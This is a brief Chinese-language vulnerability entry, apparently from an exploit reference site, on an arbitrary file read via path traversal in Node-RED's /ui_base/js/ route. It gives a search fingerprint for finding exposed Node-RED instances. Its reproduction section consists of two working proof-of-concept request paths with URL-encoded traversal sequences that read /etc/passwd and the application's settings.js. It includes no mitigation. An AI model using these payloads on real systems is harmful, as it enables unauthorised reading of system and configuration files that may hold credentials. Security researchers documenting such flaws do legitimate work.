Node-RED ui_base 任意文件读取漏洞¶

漏洞描述¶

Node-RED 在/nodes/ui_base.js中，URL与'/ui_base/js/*'匹配，然后传递给path.join，

缺乏对最终路径的验证会导致路径遍历漏洞，可以利用这个漏洞读取服务器上的敏感数据，比如settings.js

漏洞影响¶

Node-RED

网络测绘¶

title="Node-RED"

漏洞复现¶

访问页面

验证POC

/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js